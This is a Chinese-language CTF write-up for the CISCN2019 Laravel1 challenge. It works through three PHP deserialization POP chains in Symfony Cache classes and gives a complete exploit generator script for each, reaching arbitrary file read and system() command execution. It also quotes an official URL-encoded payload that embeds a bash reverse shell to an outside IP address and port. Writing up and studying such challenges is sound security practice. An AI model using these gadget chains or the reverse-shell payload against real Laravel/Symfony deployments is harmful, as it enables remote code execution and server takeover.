CISCN2019总决赛Day1Web4-Laravel1题解

  1. 1. 前言
  2. 2. pop1
  3. 3. pop2
  4. 4. pop3
  5. 5. 后话

第一次上手Laravel框架,水一篇博客记录一下.

前言

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//backup in source.tar.gz
namespace App\Http\Controllers;

class IndexController extends Controller
{
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
}

显然是考察Laravel的pop链. 因为对Laravel框架完全不了解,所以只是看着wp调试一遍

参考: https://xz.aliyun.com/t/5816#toc-0

controller位置: app/Http/Controllers/

pop1

__destruct下手

全局搜索可以有很多__destruct, 找其中可以利用的.

TagAwareAdapter::__destruct

逐步跟踪可以跟到一个特殊调用.

__destruct->commit->invalidateTags

!$this->pool->saveDeferred($item) , 是$this->xxx->func格式的

Q: $this->xxx->xxx->xxx是不是越长越好利用.调用任意方法?

这样可以调用任意类的saveDeferred方法.

然后找一个可以利用的saveDeferred

跟踪下ProxyAdapter::saveDeferred

__destruct->doSave

注意到里面有$innerItem = $f($this->namespace.$item["\0*\0key"], null);

$f是完全可控的, 需要判断参数是否可控.

$item

$item需要是CacheItem类的实例.

1
2
3
4
if (!$item instanceof CacheItem) {
return false;
}
$item = (array) $item;

实例对象转换为数组.

各类型变量转换为数组之后的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class TEST{
public $a="a";
protected $b="b";
private $c="c";
}
$test=new TEST();
var_dump((array)$test);

array(3) {
'a' =>
string(1) "a"
'\0*\0b' =>
string(1) "b"
'\0TEST\0c' =>
string(1) "c"
}

所以$item["\0*\0key"]也是完全可控的,只需要找一个第二个参数可以为NULL的方法即可.

Q: 有无可以Fuzz PHP全部函数的工具/函数.

可以用highlight_file()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS E:\tmp> ls
目录: E:\tmp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2021/4/16 20:18 21 flag.txt


PS E:\tmp> php -a
Interactive shell

php > highlight_file('flag.txt',NULL);
<code><span style="color: #000000">
flag{You_got_my_flag}</span>
</code>
php >

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
namespace Symfony\Component\Cache{
class CacheItem{
protected $key;
protected $value;
protected $isHit = false;
protected $expiry;
protected $defaultLifetime;
protected $metadata = [];
protected $newMetadata = [];
protected $innerItem;
protected $poolHash;
protected $isTaggable = false;

public function __construct(){
$this->key = '/flag';
}
}
}

namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;

class ArrayAdapter{ // 随便找了一个满足elseif ($this->pool instanceof AdapterInterface)
private $createCacheItem;
}

class ProxyAdapter{
private $namespace;
private $namespaceLen;
private $createCacheItem;
private $setInnerItem;
private $poolHash;
private $pool;

public function __construct(){
$this->pool = new ArrayAdapter(); // elseif ($this->pool instanceof AdapterInterface)
$this->createCacheItem = 'highlight_file';
}
}

class TagAwareAdapter{
private $deferred = [];
private $createCacheItem;
private $setCacheItemTags;
private $getTagsByKey;
private $invalidateTags;
private $tags;
private $knownTagVersions = [];
private $knownTagVersionsTtl;
private $pool;

public function __construct(){
$this->pool = new ProxyAdapter(); // 为了调用ProxyAdapter::saveDeferred
$this->deferred = $arrayName = array('test' => new CacheItem());// ProxyAdapter::saveDeferred 参数
}
}
}


namespace {
use Symfony\Component\Cache\Adapter\TagAwareAdapter;

$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}

pop2

找的是另一个实现了saveDeferred方法的类,PhpArrayAdapter

1
2
3
4
5
6
7
8
public function saveDeferred(CacheItemInterface $item)
{
if (null === $this->values) {
$this->initialize();
}

return !isset($this->keys[$item->getKey()]) && $this->pool->saveDeferred($item);
}

initialize() 方法: 这个方法在本类并未定义,在其父类PhpArrayTrait中有定义.

PHP也是单继承的语言,需要用trait实现多继承

参考: https://zhuanlan.zhihu.com/p/98556970

PhpArrayTrait::initialize:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private function initialize()
{
if (!file_exists($this->file)) {
$this->keys = $this->values = [];

return;
}
$values = (include $this->file) ?: [[], []];

if (2 !== \count($values) || !isset($values[0], $values[1])) {
$this->keys = $this->values = [];
} else {
list($this->keys, $this->values) = $values;
}
}

有一个文件包含的操作,可以读取任意文件.

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
namespace Symfony\Component\Cache{ // 参数需要
class CacheItem{
protected $key;
protected $value;
protected $isHit = false;
protected $expiry;
protected $defaultLifetime;
protected $metadata = [];
protected $newMetadata = [];
protected $innerItem;
protected $poolHash;
protected $isTaggable = false;
}
}

namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $createCacheItem;
private $file;

public function __construct(){
$this->file = '/flag';
}
}

class TagAwareAdapter{
private $deferred = [];
private $createCacheItem;
private $setCacheItemTags;
private $getTagsByKey;
private $invalidateTags;
private $tags;
private $knownTagVersions = [];
private $knownTagVersionsTtl;
private $pool;

public function __construct(){
$this->pool = new PhpArrayAdapter(); // 为了调用PhpArrayAdapter::saveDeferred
$this->deferred = $arrayName = array('1' => new CacheItem(), );;// 参数必须是CacheItemInterface实例
}
}
}


namespace {
use Symfony\Component\Cache\Adapter\TagAwareAdapter;

$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}

pop3

根据官方payload调的一个链子.

?payload=O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A1%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A45%3A%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F115.159.184.127%2F9998%200%3E%261%22%3Bs%3A11%3A%22%00%2A%00poolHash%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00%2A%00expiry%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A2%3A%7Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3Bs%3A1%3A%221%22%3B%7D%7D";}s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}}

调试一下发现和第一个链很像.只不过是利用的doSave方法中的别的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private function doSave(CacheItemInterface $item, $method)
{
if (!$item instanceof CacheItem) {
return false;
}
$item = (array) $item;
if (null === $item["\0*\0expiry"] && 0 < $item["\0*\0defaultLifetime"]) {
$item["\0*\0expiry"] = microtime(true) + $item["\0*\0defaultLifetime"];
}

if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
$innerItem = $item["\0*\0innerItem"];
} elseif ($this->pool instanceof AdapterInterface) {
// this is an optimization specific for AdapterInterface implementations
// so we can save a round-trip to the backend by just creating a new item
$f = $this->createCacheItem;
$innerItem = $f($this->namespace.$item["\0*\0key"], null);
} else {
$innerItem = $this->pool->getItem($this->namespace.$item["\0*\0key"]);
}

($this->setInnerItem)($innerItem, $item);

return $this->pool->$method($innerItem);
}

在倒数第二行还有一个($this->setInnerItem)($innerItem, $item);

参数全部完全可控, 可传$this->setInnerItem为system, $innerItem为任意命令.

exp3: exp1稍微修改一下.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
namespace Symfony\Component\Cache{
class CacheItem{
protected $key;
protected $value;
protected $isHit = false;
protected $expiry;
protected $defaultLifetime;
protected $metadata = [];
protected $newMetadata = [];
protected $innerItem;
protected $poolHash;
protected $isTaggable = false;

public function __construct(){
$this->poolHash = 'test'; // $item["\0*\0poolHash"] === $this->poolHash
$this->innerItem = 'cat /flag';
}
}
}

namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;

class ProxyAdapter{
private $namespace;
private $namespaceLen;
private $createCacheItem;
private $setInnerItem;
private $poolHash;
private $pool;

public function __construct(){
$this->poolHash = 'test'; // $item["\0*\0poolHash"] === $this->poolHash
$this->setInnerItem = 'system';
}
}

class TagAwareAdapter{
private $deferred = [];
private $createCacheItem;
private $setCacheItemTags;
private $getTagsByKey;
private $invalidateTags;
private $tags;
private $knownTagVersions = [];
private $knownTagVersionsTtl;
private $pool;

public function __construct(){
$this->pool = new ProxyAdapter(); // 为了调用ProxyAdapter::saveDeferred
$this->deferred = $arrayName = array('test' => new CacheItem());// ProxyAdapter::saveDeferred 参数
}
}
}


namespace {
use Symfony\Component\Cache\Adapter\TagAwareAdapter;

$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}

后话

laravel,yii这些有日志记录.

没删干净的话是可以找到一些exp的蛛丝马迹的

image-20210420195144924